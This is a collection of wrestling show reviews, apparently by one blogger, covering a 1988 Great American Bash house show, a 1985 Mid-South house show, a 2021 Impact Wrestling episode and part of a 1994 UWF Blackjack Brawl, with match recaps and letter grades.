Great American Bash 1988 Greensboro
Date: July 16, 1988
Location: War Memorial Stadium, Greensboro, Coliseum
Attendance: 7,500

The Great American Bash wasn’t just a full on pay per view at first, but also a tour of house shows. This is one of them, as we are in one of the bigger Crockett cities. The main event here is WarGames, which had debuted twelve days prior and was done quite a bit during the tour. Let’s get to it.

Bugsy McGraw/Tim Horner vs. Rip Morgan/Larry Zbyszko

It’s always so strange to have A, no commentary, B, two rings, and C, Teddy Long (referee here) with hair. Morgan grabs the mic to shout a lot and jump up and down before Larry takes Bugsy down but misses a bunch of elbows to the fans’ delight. Bugsy drives him into the corner and grabs a headlock before Horner comes in for a few shoulders. The slightly out there Morgan tries his luck and takes Horner down into a quickly broken chinlock.

It’s back to Bugsy to start working on Morgan’s arm (the hair pull helped too) but Morgan takes him into the corner for the tag back to Larry. We get the always classic referee misses the big tag spot and Morgan elbows McGraw down again. Bugsy gets in a shot to the face though and grabs the rope to avoid Larry’s dropkick (yes Larry’s dropkick), allowing the hot tag to Horner. Everything breaks down and Horner hits a quick crossbody to finish Morgan at 8:07.

Rating: C. Totally watchable match here but what matters most is how it was a hot enough opening match. You don’t want to take too much time in a spot like this and they got through things rather well here. Horner wasn’t the best in the world but he was able to come in off a hot tag and clean house, which is almost all he was here for. Not a great match, but an efficient one and that’s a good thing.

Ronnie Garvin vs. Italian Stallion

Garvin is freshly heel and now managed by Gary Hart. Stallion knocks him down to start and Garvin grabs his ankle. That’s enough to have the referee slow things down a bit, but Garvin comes up with the Hands of Stone for the pin at 1:13. Just a way to establish that Garvin is a changed man.

Dick Murdoch vs. Gary Royal

Royal hits him in the face to start so Murdoch takes it into the corner. A headlock manages to get Murdoch down onto the mat and Gary cranks away for a bit. Murdoch gets out using some cheating so it’s time to yell at referee Teddy Long, which could be quite the interesting argument.

Royal gets driven into the corner for some shots to the face but a dropkick puts Murdoch on the floor. That’s enough of this being in trouble thing for Murdoch as he knocks Royal around without much trouble and takes him outside for a whip into the scaffolding (yeah we have a scaffold match coming). Back in and Murdoch stomps away before finishing with the brainbuster at 7:01.

Rating: C-. Murdoch really was good at almost anything he did and it is easy to see why he is as revered as he is by so many people. He knows how to make the fans care about him and is so smooth at everything he does. This was just a squash for the most part but Murdoch managed to make that work, which is quite the impressive feat.

Jimmy Garvin vs. Rick Steiner

Precious is here with Garvin. Steiner mauls him down to start, as Steiner had a tendency to do. Garvin fights up and slugs away but has to stop as Kevin Sullivan goes after Precious (that’s a LONG story) to a crazy reaction. Back in and Garvin rolls him up for the pin at 1:25. That was surprisingly short.

Sheepherders vs. Rock N Roll Express

That would of course be the Bushwhackers with Rip Morgan as their flag bearer. We hit the stall button to start, with the Bushwhackers messing with their flag and then telling the fans to shut up. Pain is promised to the Americans so Ricky Morton grabs the mic and tells the Sheepherders what they can kiss. The Express finally jumps them about two and a half minutes after the bell and the ring is cleared in a hurry.

We settle down into the first lockup almost four minutes in and it’s Butch sending Gibson into the corner for the early tag to Luke. A knee to the ribs cuts Gibson off again but he nails a right hand to take over. Butch hits Luke by mistake and Morgan takes out his friends, meaning the Express can pose early. We settle down to Morton in trouble but sliding through Luke’s legs for a dropkick.

The Sheepherders are sent into each other and it’s time to bail again as things settle a bit. Back in and Gibson hits a crossbody on Luke but Morgan has the referee, allowing Butch to get in a flag shot for the save. They go outside with Gibson being driven into the apron and then it’s back inside for stomping. A chinlock doesn’t last long so it’s a double clothesline to drop Gibson again.

The fans start up their ROCK N ROLL chant as Gibson gets in a few shots, only to be pulled down into a chinlock. Gibson fights up again and gets over to Morton for the hot tag (that feels so wrong). Everything breaks down with Morton getting posted on the floor as Gibson has Butch in a sleeper. The double gutbuster plants Gibson but he manages to send them together, allowing Morton to high crossbody Butch for the pin at 14:06.

Rating: B-. This is a perfect illustration of how to take a rather basic match and get the fans going nuts to set up a hot ending. That’s what they had here, with very little contact for almost the first five minutes and then they got into the meat of the match. The fans were with them the entire way because they cared about the teams and wanted to see the Express make the comeback. Good match, but much more of a lesson in how to do this, as the high spots were a dropkick and a high crossbody. Today, it would be called boring, because less is more is a lost concept.

Al Perez vs. Brad Armstrong

Perez has Gary Hart in his corner. Feeling out process to start with both guys shoving the other around. Armstrong grabs a wristlock and a monkey flip doesn’t even break the grip. Perez can’t armdrag his way out of an armbar so Armstrong armdrags him into another armbar. That works so well that Armstrong stays on it as we hit the five minute mark. Armstrong has to go after Gary Hart though and Perez sends him into the scaffolding to take over.

Back in and Perez hits what would become known as the Eye of the Storm for two and the chinlock goes on. With that not working, Perez goes with knees to the back (Armstrong: “OH S***!”) but the referee calls it off for being in the ropes. Armstrong’s backslide gets two so Perez throws him outside in a heap. Perez follows him out and gets elbows in the face so Armstrong heads back in. A suplex brings Perez back in and Hart sweeps the leg to give Perez the pin at 11:17 (that was the most telegraphed ending I have seen in years).

Rating: C. It wasn’t too bad here as Armstrong is always worth a look and Perez is someone who could have become something but never went beyond the midcard. I’m not entirely sure why, but I could have seen both of these guys going a bit higher than they did. Nice match though, even with the really obvious ending.

Fantastics vs. Midnight Express/Jim Cornette

The Midnight’s US Tag Team Titles aren’t on the line and I’m going to go out on a limb and say this is going to be the best thing all night, or at least so far. This is a Bunkhouse match, meaning anything goes. Cornette looks ridiculous in the body suit of course but you can see the look in his eyes that he is having the time of his life out there. Eaton and Cornette have their hug to start with Cornette kissing him on the cheek, so Rogers thinks Cornette should start for the team. Cornette: “I AIN’T GETTING IN THERE! YOU PEOPLE SHUT UP! I AIN’T GETTING IN THERE!”

The Bobbys start things off instead with Eaton getting in a right hand but stopping to celebrate, allowing Fulton to tag him with some right hands. Eaton hits a knee to the face but gets backdropped down, leaving Cornette to grab a chair on the floor. That earns him a chase from Rogers who clears the ring, setting up the strut. Cornette: “WHAT ARE WE GOING TO DO???” Back in and Eaton hits Fulton with one of his great right hands and grabs a chair, only to get atomic dropped down onto it.

Fulton blasts Eaton with the chair and everything breaks down (as it should) with Rogers wearing Eaton out with the chair. Cornette and Stan get the chair and go over to check on Eaton as the panic continues. For some reason Eaton tries to tag Cornette before coming to his senses and bring Lane in instead. That’s fine with Rogers, who dropkicks him down a few times and mocks Cornette’s bravery. Lane tries to toss Rogers, who skins the cat and comes back in with more dropkicks.

Cornette bails from a possible tag again so Lane grabs him by the shirt, sending Cornette into pure panic because he might be about to die. Rogers breaks that up and gets sent outside, where Cornette throws a chair at him to get back in the Midnights’ good graces. Rogers gets dropped again and Cornette hits his own strut, leaving Lane to choke Rogers on the floor. Now Cornette is willing to come in and drop some elbows but Rogers stares him down after the right hands.

Cornette tries a quick handshake but gets driven into the corner where Lane can come back in (not the best aiming from Rogers). An atomic drop into a backbreaker puts Rogers down again and Cornette comes back in for some right hands with a chained fist. Cornette’s slam attempt doesn’t work so Eaton comes in to do it for him, leaving Cornette to pose anyway (that’s great).

The Rocket Launcher connects but Cornette wants the pin, which takes too long and includes too much posing, allowing Rogers to toss him hard on the kickout. The hot tag brings in Fulton to clean house and Cornette’s powder hits Eaton by mistake. A double clothesline pins Cornette at 15:09.

Rating: B. This was a lot of fun and so much of that is due to the great chemistry that the Midnights and Cornette had. They were so perfect together and Cornette’s moments of panicking at the idea of being in trouble but then getting so cocky in a hurry was great. Really fun match here and the place was going coconuts over some of the spots and chances for Cornette to get destroyed.

TV Title: Sting vs. Mike Rotunda

Rotunda, with Kevin Sullivan and Rick Steiner, is defending and EGADS the place goes nuts for Sting. Yeah I’m thinking he’ll be fine. Sting starts fast with some dropkicks, including one to Steiner to clean house in a hurry. Rotunda bails out to the floor but gets back in where he has to escape a Scorpion Deathlock attempt. It works so well that he has to do it a second time so Sting settles for a headlock instead. This time Rotunda sends him outside for a beating from Steiner and Sullivan, followed by a clothesline back inside.

We hit the chinlock to keep Sting in trouble and Rotunda makes sure to get a foot on the rope. An elbow to the face sets up the chinlock sequel but Rotunda goes up top for some reason. Since that leaves Rotunda looking like a fish on a bicycle, Sting slams him down and sends him into the other ring. There’s the big dive over the ropes and Sting is all fired up. The right hands in the corner set up the Stinger Splash but the Varsity Club comes in for the DQ at 10:16.

Rating: C. As usual, the action wasn’t the best part here but the fans were going nuts over everything Sting did. You could see that he was a hue star and he would eventually get the title early in 1989. First up though we had to see Rick Steiner taking it from Rotunda in one of the most underrated moments in the history of the NWA/WCW.

Road Warriors vs. Ivan Koloff/Russian Assassin #1

This is a scaffold match and the Warriors have Paul Ellering while the Russians have the eternally useless Paul Jones. The Russians start throwing powder, which is hardly safe. They slug it out in a hurry with Ivan already having to hang on while his legs dangle over the side. The same thing happens to Animal but he gets back up for a dropkick (Ok it was terrible but EGADS MAN!), which has Ivan in more trouble.

A bunch of stomping has Ivan hanging on the bottom of the scaffold and there he goes for the elimination. That leaves Assassin and Hawk fighting on the other end of the scaffold but Ivan comes up to choke Hawk with a chain. Hawk and Assassin start climbing down and Hawk knocks him off to win at 5:34.

Rating: D+. I’m never sure what to think of a match like this as it isn’t exactly a wrestling match, or at least certainly not a traditional one. The guys were doing what they could (and as someone scared of heights, I can’t get over that dropkick) but they had a pretty firm limit and that is ok given how hard it is to do something like this.

Four Horsemen vs. Dusty Rhodes/Paul Ellering/Lex Luger/Nikita Koloff/Steve Williams

And now, WarGames, which only debuted about two weeks ago. In case you don’t know the rules, you have five men per team and each one will send in a man each for a five minute period. After two minutes, the heels will win a coin toss to gain the advantage, meaning they will be able to send in their second man for two minutes. Then the good guys will tie it up for two more minutes. The teams alternate until everyone is in and it is the first submission wins.

Arn Anderson and Dusty Rhodes start things off with Dusty easily winning the early slugout. The big elbow has Anderson freaking out in the corner so let’s try a different ring. Dusty is right there with a running DDT and he sends Arn into the cage for the first time. Arn goes into the cage over and over and the blood is already flowing. Some shots to the leg put Dusty down though and Arn punches him into the other ring. Dusty punches him out of the air though and puts on the Figure Four until the Horsemen win the coin toss.

Barry Windham goes in for the Horsemen but Dusty lets go of the Figure Four want is waiting on him. Anderson gets in a cheap shot from behind though and Dusty gets caught in Windham’s claw. Choking and clawing ensue and it’s Williams coming in to even things up. Football tackles abound and Dusty is back into it (which doesn’t make the claw look like the most devastating hold).

Flair comes in to give the Horsemen the advantage back though and it’s time to send the good guys into the cage. Dusty is busted open and you know the Horsemen know how to go after that. Luger comes in to even things up again and it’s time to clean house but Flair hits him low. The chops in the corner just wake Luger up (as always) though and he cleans house again, including the right hands in the corner to Flair.

It’s Tully Blanchard in to give the Horsemen another advantage and he finds a chair to beat on Luger and Windham. Flair and Anderson start in on Luger’s knee, followed by a DDT to plant him hard. Nikita Koloff (who should not have hair) comes in and it’s Russian Sickles a go-go.

The right hands in the corner rock Flair (he took those so well) and it’s a lot of punching until JJ Dillion is in to complete the Horsemen team. That means a barrage of eye rakes and choking but Nikita gets in in the corner and unloads with mostly reckless abandon. Arn has Luger in some kind of leglock as Ellering comes in to complete everything. Everyone brawls until JJ misses a dropkick and Dusty grabs the Figure Four for the submission at 21:07.

Rating: B. It isn’t as great as the famous one from the 4th of July but this was a house show and they probably had done half a dozen of these by this point. How much of an effort are they going to put into making this one feel special? It is still a brand new match and something that felt like a spectacle, so going with a basic punch/choke/leglock formula here worked out fine.

Overall Rating: B. This was a heck of a fun show with some rather good matches and nothing bad. Above all else, it was great to see a house show with such a hot crowd who was into anything these people were going. The talent was there and it felt like an important show. Good stuff here and I can see why this was such a hot promotion at the moment. Compare this to Wrestlemania II from a few months earlier and the difference is all the more obvious. Check this out if you get the chance.

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Mid-South House Show
Date: November 11, 1985
Location: Municipal Auditorium, New Orleans, Louisiana

This is part of a house show, which is certainly a lot more than you can get most of the time. Mid-South has an awesome reputation for some fired up crowds and while this is past their peak as a promotion, they still have quite a few stars and a rabid fan base so this could be good. I’m not sure what to expect here and the lack of commentary could make things confusing. Let’s get to it.

Bruise Brothers vs. El Corsario/Steve Williams

The Brothers are Mad Dog Boyd/Pork Chop Cash and Corsario is a 21 year old Savio Vega in a mask. It’s a brawl to start with the Brothers starting very fast and knocking Williams outside. Corsario is sent into the corner and a splash finishes him off at 49 seconds. Well that woke the fans up.

Lord Humongous vs. Jake Roberts

Humongous is a masked man (and not played by Sid Vicious this time) with Oliver Humperdink (Jake’s big annoyance at the moment) in his corner. Humongous shoves him into the corner to start and Jake isn’t sure what to do here. Jake hammers away but gets slammed down, only to avoid an elbow. The threat of mask removal sends Humongous bailing out to the floor and then they do the same thing again.

Back in again and Jake hammers away but a reversed whip lets Humongous hit a hard clothesline. Posing ensues and Jake gets caught in a bearhug to keep him in trouble. With that broken up, Humongous goes after Jake’s back with some knee drops and headbutts before cranking on both arms at once.

We hit the bearhug again but Humongous lets it go and misses a legdrop. Jake’s atomic drop gives us a double knockdown and a VERY big crowd reaction), followed by a hard running clothesline to drop Humongous. Humperdink breaks up the count though and the chase is on, allowing Humongous to grab a cobra clutch to knock Jake out at 10:50.

Rating: C. This felt like another step in a long story between Jake and Humperdink and that is going to work well enough. Humongous felt like a mercenary and he did well enough in the role, as he felt like a combination of a slasher movie monster and a decent power wrestler. Also, the ending was a good win for Humperdink over Jake, as there is something about seeing someone get choked out.

Post match Jake is out so Humperdink drops an elbow on him and counts his own three.

Tag Team Titles: Eddie Gilbert/Nightmare vs. Al Perez/Wendell Cooley

Gilbert and the Nightmare (Moondog Rex/the original Demolition Smash) are challenging and have Oliver Humperdink in their corner. Perez and Nightmare start off to limited avail so it’s time to stare at each other for a bit. Perez’s top wristlock doesn’t work either so the staredown is on again. This time they’re a little hesitant about a test of strength so it’s off to Gilbert to shoulder Perez down. A dropkick sets up an armbar on Gilbert though and Perez adds in some knees to the shoulder.

Cooley comes in for an armbar, an armdrag and another armbar (make your own Chris Jericho joke) before handing it back to Perez to stay on the arm. Perez and Cooley draw Nightmare in and change without a tag, much to the fans’ delight. It works so well that they do it again, followed by Cooley dropping a leg on the arm. An armdrag lets Perez come back in for a kneedrop onto the arm and the cranking continues. To mix it up a bit, Perez and Cooley crank on both arms at the same time.

Gilbert finally gets up and brings in Nightmare, who misses an elbow and gets sunset flipped for two. It’s already back to Gilbert, who misses a charge into the post to make the arm even worse. That means another armbar and then some hiptosses to both Gilbert and Nightmare. The villains finally get it together as Nightmare grabs Gilbert to avoid a dropkick, meaning it’s time to beat on Cooley. Gilbert’s arm is fine enough for some elbows and a stomach claw.

Nightmare grabs a reverse chinlock and it’s right back to Gilbert for a middle rope ax handle. Another chinlock, this time with a knee in the back, keeps Cooley in trouble and a clothesline cuts him down again. Gilberto chokes on the rope and Nightmare hits a belly to back suplex for two. Back up and the classic double collision evens things out all over again, proving that Cooley’s head is far harder than Nightmare’s.

The hot tag brings in Perez to clean house as everything breaks down, with Cooley being knocked to the floor. Perez immediately goes to check on him as Cooley is holding his head and not getting up. For some reason Perez throws him back in and Gilbert is right there with the strutting. Perez comes in to break up a double suplex but Gilbert hits a hot shot to finish Cooley for the titles at 25:59.

Rating: B-. This got a lot of time and wound up working rather well as they went with the formula, which a Mid-South crowd is always going to eat up. Perez and Cooley worked well enough for a face team (the matching tights always help) and Humperdink seems to be enough of an evil force to make a middle of the road team into more of a threat. Good match here, and it doesn’t feel anywhere close to almost half an hour.

North American Title: Butch Reed vs. Dick Slater

Slater, with Dark Journey, is challenging for the promotion’s top title. We’re joined in progress with Slater hitting a belly to back suplex and cranking on the leg. Reed fights up and slugs away but can’t follow up because of the knee. More slugging away puts Slater down but he’s right back up with a sleeper. Reed gets close to the rope so Slater slams him down before he can make it (that’s rather clever). The Figure Goes onto Reed’s bad leg until he manages to turn it over, as you might have expected.

The referee gets bumped, though Slater puts on a spinning toehold anyway. That’s reversed into a small package for no count but here’s another referee to count Slater’s cover on Reed, even with his feet on the ropes. Hold on though as some unnamed wrestler comes up to say what happened and it seems we’re continuing. Reed gives chase and hammers away back inside before taking Slater outside for a whip into the barricade. The referee throws it out in there somewhere, with Reed retaining via DQ at about 9:30 shown.

Rating: C+. It was certainly energetic while it lasted and Reed is someone who impresses me more and more every time I see him on his own. Reed was a heck of a power guy and he was showing a lot of fire and charisma here. I know he is best remembered as a tag guy with Ron Simmons in Doom but this was working well.

Jim Duggan vs. Buzz Sawyer

No DQ and Duggan jumps him before the bell to start. Sawyer is knocked to the floor in a hurry but comes back in to quickly lose a slugout (Who brawls with Duggan?). This time he is knocked outside, where Duggan hammers away even more. Duggan sends him face first (and hard) into the barricade, then swears at Sawyer and does it again.

Sawyer is busted open (shocking) and Duggan hammers away in the corner. The time out request is denied and Duggan throws him over the top but Sawyer comes back in with a low blow. A ram into the barricade sends Duggan over and Sawyer sends him into the steel a second time. Duggan avoids having a table dropped on him but gets sent into the barricade for a third time in a row.

Back in and Duggan swears some more before blasting Sawyer with a clothesline. Sawyer hits his own clothesline though and they’re both down for a needed breather. Duggan returns the low blow and a three point shoulder puts Sawyer out on the floor….where he takes the countout at 11:48, because now we have countouts.

Rating: B. This was a red hot brawl and a great example of everything that Duggan could do in this place. Duggan is best known as being the goofy patriot and that worked out well, but he was AWESOME as the bar fighting brawler, which he got to showcase far better in Mid-South. Sawyer was kind of a horrible human but he could do this kind of thing very well. Heck of a match and I could have gone for a lot more.

Post match Sawyer charges back in to choke away but a piledriver is countered with a backdrop. The bell ringer loses his mind as the brawl continues, drawing out a bunch of other wrestlers to pull them apart. They’re finally separated but Sawyer smacks Duggan in the face to set it off again. The wrestlers get them apart and we see Sawyer having to be held in the back.

Cue Duggan and the brawl starts again backstage, with Duggan swearing rather loudly and Sawyer screaming at him but not being able to stand. This was a GREAT angle and I want to see these two tear each other apart. That’s where Mid-South shined and it was on full display here.

Overall Rating: B-. The main event helped a lot and while it would have been a good bit better with the rest of the show included, this was another fun show and makes me wonder how great Mid-South could have been had they not fallen apart due to circumstances outside of their control. This had a great mixture of styles and an awesome main event on top of everything else. Good stuff here and it makes me want to see a lot more from Mid-South, especially in their better days.

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Impact Wrestling
Date: October 7, 2021
Location: Skyway Studios, Nashville, Tennessee
Commentators: Josh Matthews, D’Lo Brown

We are just over two weeks away from Bound For Glory and if you don’t know all of the card so far, you can probably guess what is coming on the show. There is still a lot of work to do though, including Eddie Edwards needing to deal with Moose. That could go in a few different directions so let’s get to it.

Here are last week’s results if you need a recap.

Opening recap.

Opening sequence.

Bullet Club vs. FinJuice/Chris Sabin

It’s Chris Bey/Hikuleo/El Phantasmo for the Club. Bey takes Sabin into the corner to start but we actually get a clean break. They go back back and forth with neither actually getting anywhere so Phantasmo comes in to take Robinson down. A standing moonsault hits Robinson he’s back up with an atomic drop. The non-Club starts taking turns on Phantasmo’s arm. Robinson has to fight off everything at once but Bey finally knocks him down to take over. Hikuleo teases coming in but jumps down to rake Robinson’s back instead.

Somehow Robinson survives and gets over to Finlay to pick up the pace. That just earns him a shot to the face though as everything breaks down in a hurry. Sabin high crossbodies Bey and Phantasmo at the same time and it’s a triple dive to take out the Club on the floor. A Dominator spun into a DDT gives Sabin two on Phantasmo but Hikuleo is back with a chokeslam. Phantasmo adds the top rope splash for two but Sabin is back up with a backslide. Hikuleo offers a distraction though and it’s a low blow from Phantasmo, setting up the Art of Finesse for the pin on Sabin at 8:47.

Rating: C+. I can always go for a six man tag and that’s what we got here with everyone getting to have their chance. There is always something about taking this many people and putting them in the ring for a showcase. The fact that they have some international star power makes it that much better.

Josh Alexander says it would usually be an honor to team with Christian Cage but tonight is about getting rid of Ace Austin and Madman Fulton before Bound For Glory.

Here’s what’s coming tonight.

Here is Heath for a chat. The fans seem happy to have him back as he has been out for a year. Last year at Bound For Glory, he was ready to get his Impact contract but he had to sit at home. Thank goodness he had some little girls to be doctors for daddy. While he was out though, he saw Rhino joining Violent By Design and that isn’t the real Rhino.

What he wants right now is to talk to his best friend but he gets Violent By Design instead. Eric Young asks what Heath doesn’t get because the team made Rhino better. The fans tell Young that he isn’t Rhino but Young goes on a rant about how that Rhino isn’t coming back. Heath is going to lower his eyes, leave the ring and never come back. That isn’t happening so the beatdown is on with Heath being buried under the flag.

Willie Mack, with Rich Swann, is ready to win the X-Division Title back. Brian Myers’ Learning Tree comes up and a tag match is teased for later.

Post break, Myers tells the Learning Tree that they’re on their own.

Brandi Lauren/Kimber Lee/Lady Frost vs. Tasha Steelz/Savannah Evans/Mercedes Martinez

Martinez powers Frost into the corner to start but gets wristdragged back down. The threat of a right hand sends Frost off to Lauren, who bites Evans’ hand. We take a break and come back with Lauren in trouble in the corner but clotheslining her way to freedom. The hot tag brings in Lee to clean house as everything breaks down. The illegal Martinez cleans house until Steelz steals the pin on Lee at 9:38.

Rating: C-. Not much to this one and a good chunk of it was spent in the break. The double Su Yung deal isn’t the most interesting idea as it doesn’t make Yung look all that unique, but if Yung isn’t around, it doesn’t matter that much. It was a fine way to set up some stuff at Knockouts Knockdown, but not exactly great on its own.

Post match here is Alisha Edwards to clean hour with a kendo stick.

Flashback Moment of the Week: Christopher Daniels b. James Storm at Genesis 2013.

Alisha Edwards rants about Kimber Lee so Gail Kim puts the two of them, Savannah Evans and Jordynne Grace in a Monster’s Ball match for Knockouts Knockdown. Works for me.

It’s time for It’s All About Me, with Tenille Dashwood and company. Tenille and Madison Rayne are excited to win the Knockouts Tag Team Titles at Knockouts Knockdown so here are their opponents: Decay. We get a weird beeping noise and Decay is ready to retain, but we’re out of time. That’s not cool with Decay, who says this is their show now. The Influence runs off in fear. There is some pretty awesome chemistry between these four, though that could just be Rosemary being scary and funny at the same time.

Moose and W. Morrissey are ready to get rid of Eddie Edwards, just like they did Sami Callihan. For now though, they’re going to be in the Call Your Shot at Bound For Glory. They’re still not friends either.

X-Division Title Tournament First Round: Black Taurus vs. Steve Maclin vs. Petey Williams

Maclin takes over to start but Taurus takes him down with a Sling Blade. With Maclin on the floor, Williams hits a running dropkick to Taurus’ back. A slingshot hurricanrana to the floor takes Maclin down but Williams has to deal with Taurus. The distraction lets Maclin hit an Angle Slam to Williams, followed by something close to a Death Valley Driver on Taurus.

Maclin goes after Williams though, allowing Taurus to fight back and powerslam him for two. Williams’ crucifix gets two on Taurus, followed by a running knee. Maclin runs both of them other but gets caught with a DDT to put everyone down. We get the three way strike off until Taurus hits Maclin with a running crucifix bomb (or close to it). Taurus ties Williams in the Tree of Woe but gets sent outside. Williams slips out and gives Taurus the Canadian Destroyer but walks into Mayhem For All to send Maclin to Bound For Glory at 7:13.

Rating: C+. The multi-person theme continues this week and this time around we get Impact continuing to push Maclin, which is a good thing. Above all else, Impact is trying someone new and maybe it works in the end. Maclin might not be the most thrilling, but he also isn’t bad and is being treated as something important. That’s something any promotion needs to do at times and it’s working well enough here.

Christian Cage says Josh Alexander can scout him tonight but keep his emotions in check. Christopher Daniels comes in to say he’s here to win the World Title. It can be in Impact or AEW, but he’s coming for the belt.

Johnny Swinger is panicking over Swinger’s Palace being shut down so they’re cleaning out the closet. This includes a photo of Dixie Carter (Swinger approves) but here is Fallah Bahh to say his money paid for a lot of this stuff. He’s glad they’re being shut down and leaves, as John E. Bravo finds a poster for a Jeff Jarrett DVD set. Swinger: “Did we buy this?” Bravo: “Won it. In a lawsuit.”

Rich Swann/Willie Mack vs. Manny Lemons/Zicky Dice

Lemons (so that’s his name) and Dice jump them to start and get knocked down without much trouble. Dice gets caught in the wrong corner, allowing Swann to plant him with a bulldog. Mack chops away and then twists Lemon’s nipples to mix things up a bit. Fans: “SQUEEZE THE LEMONS!” Everything breaks down and Mack holds Lemons up for a middle rope Blockbuster from Swann for the pin at 2:44. As much trouble as Mack and Swann should have had with these two.

Post match Brian Myers and the rest of the Learning Tree comes out to beat down Mack and Swann.

We look back at Mickie James vs. Deonna Purrazzo at James’ horse farm last week.

James and Purrazzo get in a fight in Scott D’Amore’s office. Scott gives them a no contact clause until Bound For Glory and the match is off/the title is stripped if they fight before them. They can do a Pick Your Poison series as well, with James picking Purrazzo’s opponent at Knockouts Knockdown.

Here’s what’s coming at Knockouts Knockdown.

Christian Cage/Josh Alexander vs. Madman Fulton/Ace Austin

Cage and Fulton start things off with Fulton powers him down without much effort. Back up and Christian scores with some right hands to the jaw to knock Fulton into the corner. That doesn’t seem to matter as Fulton clotheslines both of them down and hands it off to Austin, who is quickly backdropped. Austin gets in an elbow in the corner and a superkick gets two on Alexander as we take a break.

Back with Austin kicking him in the head for two more but Alexander gets over for the tag to Christian. A few rooms of the house are cleaned but Fulton runs Cage over to cut that off in a hurry. We hit the chinlock for a bit before Fulton powers him into the corner again. It’s back to Austin for a springboard DDT but Christian spears him out of the air.

The double tag brings Fulton and Alexander, with the latter hitting a torture rack spun into a powerbomb for two. Some rolling German suplexes get two on Alexander but everything breaks down. Austin has to kick away Alexander’s ankle lock so Alexander grabs Rolling Chaos Theory, only to have Cage tag himself in. The Killswitch finishes Austin at 16:30.

Rating: B-. This was your above average main event tag match to advance the biggest match of Impact’s year. As a result, it worked out rather well, a lot of which is due tot he four people involved here. Good match here, with Cage playing some mind games as Alexander was rolling until the ending.

Alexander isn’t happy to end the show.

Overall Rating: C+. What matters here is the fact that they have a target with Bound For Glory (and another with Knockouts Knockdown) and they are moving in that direction. You can see most of the card from here and now it is time to build up what is missing. Another fine show here and it did what it was supposed to do while including some solid enough action as well.

Results
Bullet Club b. FinJuice/Chris Sabin – Art of Finesse to Sabin
Tasha Steelz/Savannah Evans/Mercedes Martinez b. Brandi Lauren/Kimber Lee/Lady Frost – Butterfly suplex to Lee
Steve Maclin b. Steve Williams and Black Taurus – Mayhem To All for Williams
Rich Swann/Willie Mack b. Manny Lemons/Zicky Dice – Elevated Blockbuster to Lemons
Christian Cage/Josh Alexander b. Madman Fulton/Ace Austin – Killswitch to Austin

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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Blackjack Brawl
Date: September 23, 1994
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 900
Commentators: John Tolos, Carlo Gianelli

So a few months ago I looked at the UWF’s Beach Brawl, which was a special event from one of the more infamously lame promotions: Herb Abrams’ Universal Wrestling Federation. Now it’s time to look at the followup, which is over three years later and not on pay per view. It’s an eleven match card and nine are title matches, with five of those being to crown inaugural champions. This is going to be a really, really long night. Let’s get to it.

Opening sequence, with the rather over the top introduction from Abrams and some clips from a press conference.

Abrams is in the ring to shout an introduction, with commentary talking over him. He brings Blackjack Mulligan to the ring to hype up the show and promises a lot of big stuff tonight.

Commentary welcomes us to the show.

We have a celebrity guest ring announcer with Steve Rossi (apparently he was on the Howard Stern Show at least once). After some audio issues, he introduces the Nevada Athletic Commission and brings out Dan Spivey. Rossi: “He’ll show you some wrestling tonight.”

Americas Championship: Dan Spivey vs. Johnny Ace

For the inaugural title (which is not mentioned until a few minutes into the match) and Ace has Missy Hyatt with him. Rossi has to beg the fans to cheer during the introductions and I think you know how this night is going to go. It doesn’t help that the arena (holds about 17,000) is embarrassingly empty. Commentary: “Who cares about these wrestlers when you have Missy Hyatt?”

Ace rolls him up for two and Spivey bails to the apron. Back n and Spivey hammers away, only for Ace to come back with a middle rope crossbody. A dropkick puts Spivey on the floor where he kicks a few things around. Back in and Ace stomps away (Tolos: “That would kill a normal man!”) before grabbing a chinlock. Spivey suplexes his way to freedom as I try to figure out who I’m supposed to cheer for here. A backbreaker gives Spivey two and a Russian legsweep gets the same.

Ace is back up with a top rope clothesline for two but Spivey grabs a DDT for three. Well I mean the referee slapped the mat three times but calls it two anyway, as I guess counting doesn’t work around here either. We look at Missy Hyatt for a second and come back with Spivey hitting what looked like a Boss Man Slam. The abdominal stretch goes on before Spivey slams him back down for two off a legdrop. Spivey grabs it again and Hyatt turns on Ace by throwing in the towel to give Spivey the win and the title at 7:18.

Rating: D. Just think for a second: of the eleven match card that they have planned, THIS is what they felt was the best way to get things going. I’ve said this already but it bears repeating: we are in for a really, really long night. Vince Russo unnecessary screwy finish aside, the match was rather lame as they were just doing moves to each other with no story, build, flow or anything. But at least the manager turned on Ace during their first time together so….development?

Post match Spivey grabs Abrams until Ace chases him off. Abrams yells at Spivey (Abrams: “You’re a double cheating cross!”), who leaves with Hyatt.

We go to a break, with commentary being heard talking to production, just in case you thought this could be competent for more than three seconds.

Post break, commentary cuts out, then Ginaelli slips up by saying Ace won the match.

We talk about the Junior Heavyweight title, featuring Mando “Gareo”. They’ll be right “black” after this break.

Junior Heavyweight Title: Mando Guerrero vs. Jack Armstrong

For the inaugural title and at least Rossi gets Guerrero’s (who comes out to an actual WEIRD AL song) name right. Jack (called Wildman in the graphic and Wildcat during his introductions) looks great and has been wrestling for….THIRTY ONE YEARS??? Granted this is his first match in about four years but when you debut in 1963 and are still wrestling in 1994, I’m a good bit impressed. Odds are that’s going to be the only impressive thing here but still not bad. Gianelli still can’t pronounce Guerrero as he sits on the corner while Armstrong poses.

They run the ropes to start and Mando dropkicks him out to the floor. Back in and Mando grabs an armdrag into an armbar but they’re right back to the floor to get the brawling going. Mando knocks him into the barricade and hits an Asai moonsault, sending Tolos into as close to shock as you’re getting around here. Back in and Mando gets two off a spinebuster as we’re told that this is the first of three Blackjack Brawls planned. Uh, yeah. Anyway Mando misses a moonsault and Jack drops two elbows for the pin and the title at 4:41.

Rating: D+. Well it was better than the previous one, but again it is very clear that they are not putting even the slightest bit of thought into all of these title matches. There was no mention of the title here and Mando dominated until the end when Armstrong picked up the fluke win. Armstrong had a good physique but this was the last match of his career.

Post match, Abrams gets in the ring to say he isn’t pleased with the winner, but at least Armstrong got busted open a bit.

Dr. Feelgood says he’ll win.

SportsChannel Television Title: Dr. Feelgood vs. Sunny Beach

For the vacant title and Missy Hyatt is here with Feelgood. There’s even a theme here as Feelgood has a doctor’s bag and Missy has a stethoscope. Beach takes him down by the arm to start and then armdrags him into an armbar to mix it up a bit. They switch it to a chinlock for a bit before Feelgood is back with some back rakes. Missy gets in a shoe shot to the head, sending Tolos into a speech about how gorgeous she is.

